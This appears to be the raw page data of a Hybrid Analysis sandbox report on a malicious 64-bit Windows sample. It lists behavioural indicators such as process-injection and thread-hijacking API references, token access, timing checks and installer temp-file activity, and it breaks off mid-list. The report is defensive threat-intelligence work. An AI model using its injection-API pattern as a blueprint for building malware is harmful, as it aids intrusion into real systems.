26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] cb:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Lazy.Generic Sample a10e2a453eaf… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a10e2a453eaf…. Malware family: Lazy.Generic. Threat score 100/100. 13/27 AV engines flagged this file. 26 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34","keywords":["Malicious","Lazy.Generic","malware analysis","sandbox report","threat intelligence","a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34"],"about":{"@type":"SoftwareApplication","name":"a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Lazy.Generic","antivirusDetections":{"malicious":13,"total":27},"behavioralIndicators":{"malicious":26,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T1361,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "ZwCreateThreadEx" (Indicator: "CreateThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "ZwAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "ZwCreateThreadEx" (Indicator: "CreateThread"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00000316.00000000.192618.CE7F1000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00000316.00000000.192618.CE7F1000.00000004.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00000316.00000000.192618.CE7F1000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "NtAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00001948.00000000.188202.00820000.00000040.mdmp, 00000000-00001948.00000000.188202.04CA0000.00000004.mdmp, 00000000-00001948.00000001.190121.00820000.00000040.mdmp, 00000000-00001948.00000001.190121.04CA0000.00000004.mdmp, 00000000-00001948.00000002.192044.00820000.00000040.mdmp, 00000000-00001948.00000002.192044.04CA0000.00000004.mdmp")28:T1797,Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "ZwResumeThread" (Indicator: "ResumeThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found reference to API "NtResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "ZwResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000316.00000000.192618.CE7F1000.00000004.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00001948.00000000.188202.00820000.00000040.mdmp, 00000000-00001948.00000000.188202.02A30000.00000004.mdmp, 00000000-00001948.00000000.188202.04CA0000.00000004.mdmp, 00000000-00001948.00000001.190121.00820000.00000040.mdmp, 00000000-00001948.00000001.190121.02A30000.00000004.mdmp, 00000000-00001948.00000001.190121.04CA0000.00000004.mdmp, 00000000-00001948.00000002.192044.00820000.00000040.mdmp, 00000000-00001948.00000002.192044.02A30000.00000004.mdmp, 00000000-00001948.00000002.192044.04CA0000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00001948.00000000.188202.00820000.00000040.mdmp, 00000000-00001948.00000000.188202.02A30000.00000004.mdmp, 00000000-00001948.00000000.188202.04CA0000.00000004.mdmp, 00000000-00001948.00000001.190121.00820000.00000040.mdmp, 00000000-00001948.00000001.190121.02A30000.00000004.mdmp, 00000000-00001948.00000001.190121.04CA0000.00000004.mdmp, 00000000-00001948.00000002.192044.00820000.00000040.mdmp, 00000000-00001948.00000002.192044.02A30000.00000004.mdmp, 00000000-00001948.00000002.192044.04CA0000.00000004.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00001948.00000000.188202.00820000.00000040.mdmp, 00000000-00001948.00000000.188202.04CA0000.00000004.mdmp, 00000000-00001948.00000001.190121.00820000.00000040.mdmp, 00000000-00001948.00000001.190121.04CA0000.00000004.mdmp, 00000000-00001948.00000002.192044.00820000.00000040.mdmp, 00000000-00001948.00000002.192044.04CA0000.00000004.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00001948.00000000.188202.00820000.00000040.mdmp, 00000000-00001948.00000000.188202.04CA0000.00000004.mdmp, 00000000-00001948.00000001.190121.00820000.00000040.mdmp, 00000000-00001948.00000001.190121.04CA0000.00000004.mdmp, 00000000-00001948.00000002.192044.00820000.00000040.mdmp, 00000000-00001948.00000002.192044.04CA0000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001948.00000000.188202.00820000.00000040.mdmp, 00000000-00001948.00000000.188202.02A30000.00000004.mdmp, 00000000-00001948.00000000.188202.04CA0000.00000004.mdmp, 00000000-00001948.00000001.190121.00820000.00000040.mdmp, 00000000-00001948.00000001.190121.02A30000.00000004.mdmp, 00000000-00001948.00000001.190121.04CA0000.00000004.mdmp, 00000000-00001948.00000002.192044.00820000.00000040.mdmp, 00000000-00001948.00000002.192044.02A30000.00000004.mdmp, 00000000-00001948.00000002.192044.04CA0000.00000004.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00001948.00000000.188202.02A30000.00000004.mdmp, 00000000-00001948.00000001.190121.02A30000.00000004.mdmp, 00000000-00001948.00000002.192044.02A30000.00000004.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00002216.00000000.188440.00999000.00000004.mdmp, 00000000-00002216.00000001.188613.00999000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00002216.00000000.188440.00999000.00000004.mdmp, 00000000-00002216.00000001.188613.00999000.00000004.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00002216.00000000.188440.00999000.00000004.mdmp, 00000000-00002216.00000001.188613.00999000.00000004.mdmp")29:T60e,"ponbyxs.exe" called "FindResourceW" with parameter "11111" - (UID: 00000000-00004584) "ponbyxs.tmp" called "FindResourceW" with parameter "81485884" - (UID: 00000000-00001696) "ponbyxs.exe" called "FindResourceW" with parameter "11111" - (UID: 00000000-00003064) "ponbyxs.tmp" called "FindResourceW" with parameter "92037180" - (UID: 00000000-00006276) "ponbyxs.tmp" called "FindResourceW" with parameter "91950844" - (UID: 00000000-00006276) "ponbyxs.tmp" called "FindResourceW" with parameter "91927180" - (UID: 00000000-00006276) "zyxwvuts.exe" called "FindResourceW" with parameter "11111" - (UID: 00000000-00002216) "zyxwvuts.tmp" called "FindResourceW" with parameter "90398836" - (UID: 00000000-00007860) "zyxwvuts.exe" called "FindResourceW" with parameter "11111" - (UID: 00000000-00003564) "zyxwvuts.tmp" called "FindResourceW" with parameter "84893812" - (UID: 00000000-00005220) "zyxwvuts.tmp" called "FindResourceW" with parameter "84807420" - (UID: 00000000-00005220) "zyxwvuts.tmp" called "FindResourceW" with parameter "84783796" - (UID: 00000000-00005220) "6BD.tmp.Public-key_73.18.9_INSTALL.exe" called "FindResourceW" with parameter "11111" - (UID: 00000000-00001264) "6BD.tmp.Public-key_73.18.9_INSTALL.tmp" called "FindResourceW" with parameter "82403388" - (UID: 00000000-00004708) "6BD.tmp.Public-key_73.18.9_INSTALL.exe" called "FindResourceW" with parameter "11111" - (UID: 00000000-00000740) "6BD.tmp.Public-key_73.18.9_INSTALL.tmp" called "FindResourceW" with parameter "79847484" - (UID: 00000000-00007952)2a:T715,"ponbyxs.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17544128'}" (UID: 00000000-00004584) "ponbyxs.tmp" called "LoadResource with parameter {'hModule': '524288', 'hResInfo': '3857504'}" (UID: 00000000-00001696) "ponbyxs.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17544128'}" (UID: 00000000-00003064) "ponbyxs.tmp" called "LoadResource with parameter {'hModule': '18219008', 'hResInfo': '21552224'}" (UID: 00000000-00006276) "ponbyxs.tmp" called "LoadResource with parameter {'hModule': '18219008', 'hResInfo': '21552384'}" (UID: 00000000-00006276) "zyxwvuts.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '10204336'}" (UID: 00000000-00002216) "zyxwvuts.tmp" called "LoadResource with parameter {'hModule': '13238272', 'hResInfo': '16571728'}" (UID: 00000000-00007860) "zyxwvuts.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '10204336'}" (UID: 00000000-00003564) "zyxwvuts.tmp" called "LoadResource with parameter {'hModule': '15794176', 'hResInfo': '19127632'}" (UID: 00000000-00005220) "zyxwvuts.tmp" called "LoadResource with parameter {'hModule': '15794176', 'hResInfo': '19127792'}" (UID: 00000000-00005220) "6BD.tmp.Public-key_73.18.9_INSTALL.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15119296'}" (UID: 00000000-00001264) "6BD.tmp.Public-key_73.18.9_INSTALL.tmp" called "LoadResource with parameter {'hModule': '327680', 'hResInfo': '3660896'}" (UID: 00000000-00004708) "6BD.tmp.Public-key_73.18.9_INSTALL.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15119296'}" (UID: 00000000-00000740) "6BD.tmp.Public-key_73.18.9_INSTALL.tmp" called "LoadResource with parameter {'hModule': '10551296', 'hResInfo': '13884512'}" (UID: 00000000-00007952)2b:T668,"ponbyxs.exe" called "RemoveDirectoryW" with parameter %TEMP%\is-J5QF5.tmp (UID: 00000000-00004584) "ponbyxs.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-OAQGA.tmp\_isetup (UID: 00000000-00001696) "ponbyxs.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-OAQGA.tmp (UID: 00000000-00001696) "ponbyxs.exe" called "RemoveDirectoryW" with parameter %TEMP%\is-T9T06.tmp (UID: 00000000-00003064) "ponbyxs.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-VK4LJ.tmp\_isetup (UID: 00000000-00006276) "ponbyxs.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-VK4LJ.tmp (UID: 00000000-00006276) "zyxwvuts.exe" called "RemoveDirectoryW" with parameter %TEMP%\is-2Q7BH.tmp (UID: 00000000-00002216) "zyxwvuts.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-9N6R5.tmp\_isetup (UID: 00000000-00007860) "zyxwvuts.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-9N6R5.tmp (UID: 00000000-00007860) "zyxwvuts.exe" called "RemoveDirectoryW" with parameter %TEMP%\is-PAI50.tmp (UID: 00000000-00003564) "zyxwvuts.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-DI2GJ.tmp\_isetup (UID: 00000000-00005220) "zyxwvuts.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-DI2GJ.tmp (UID: 00000000-00005220) "6BD.tmp.Public-key_73.18.9_INSTALL.exe" called "RemoveDirectoryW" with parameter %TEMP%\is-2U074.tmp (UID: 00000000-00001264) "6BD.tmp.Public-key_73.18.9_INSTALL.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-2QAJS.tmp\_isetup (UID: 00000000-00004708) "6BD.tmp.Public-key_73.18.9_INSTALL.tmp" called "RemoveDirectoryW" with parameter %TEMP%\is-2QAJS.tmp (UID: 00000000-00004708)2c:T47d,Found reference to API "RtlCreateUserThread" (Indicator: "RtlCreateUserThread"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "RtlCreateUserThread" (Indicator: "RtlCreateUserThread"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00001948.00000000.188202.02A30000.00000004.mdmp, 00000000-00001948.00000001.190121.02A30000.00000004.mdmp, 00000000-00001948.00000002.192044.02A30000.00000004.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "NtCreateThread"; Source: "00000000-00001948.00000000.188202.02A30000.00000004.mdmp, 00000000-00001948.00000001.190121.02A30000.00000004.mdmp, 00000000-00001948.00000002.192044.02A30000.00000004.mdmp") Found reference to API "RtlCreateUserThread" (Indicator: "RtlCreateUserThread"; Source: "00000000-00001948.00000000.188202.02A30000.00000004.mdmp, 00000000-00001948.00000001.190121.02A30000.00000004.mdmp, 00000000-00001948.00000002.192044.02A30000.00000004.mdmp")2d:T1348,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "MsgWaitForMultipleObjectsEx failed (%d)" (Indicator: "WaitForMultipleObjects"; File: "00000000-00007368.00000000.188550.00211000.00000020.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx failed (%d)" (Indicator: "WaitForMultipleObjectsEx"; File: "00000000-00007368.00000000.188550.00211000.00000020.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00000740.00000001.189767.00DA1000.00000020.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp")2e:T6c8,Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "SetThreadToken" (Indicator: "SetThreadToken"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; Source: "00000000-00002216.00000000.188440.00999000.00000004.mdmp, 00000000-00002216.00000001.188613.00999000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002216.00000000.188440.00999000.00000004.mdmp, 00000000-00002216.00000001.188613.00999000.00000004.mdmp")2f:T10b3,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000096.00000000.187444.02E70000.00000004.mdmp, 00000000-00000096.00000000.187444.11C87000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000316.00000000.192618.CE7F1000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000740.00000001.189767.00E49000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001264.00000000.189199.00E49000.00000004.mdmp, 00000000-00001264.00000001.189359.00E49000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001948.00000000.188202.00820000.00000040.mdmp, 00000000-00001948.00000000.188202.02A30000.00000004.mdmp, 00000000-00001948.00000000.188202.04CA0000.00000004.mdmp, 00000000-00001948.00000001.190121.00820000.00000040.mdmp, 00000000-00001948.00000001.190121.02A30000.00000004.mdmp, 00000000-00001948.00000001.190121.04CA0000.00000004.mdmp, 00000000-00001948.00000002.192044.00820000.00000040.mdmp, 00000000-00001948.00000002.192044.02A30000.00000004.mdmp, 00000000-00001948.00000002.192044.04CA0000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002216.00000000.188440.00999000.00000004.mdmp, 00000000-00002216.00000001.188613.00999000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002216.00000000.188440.00999000.00000004.mdmp, 00000000-00002216.00000001.188613.00999000.00000004.mdmp") Found reference to 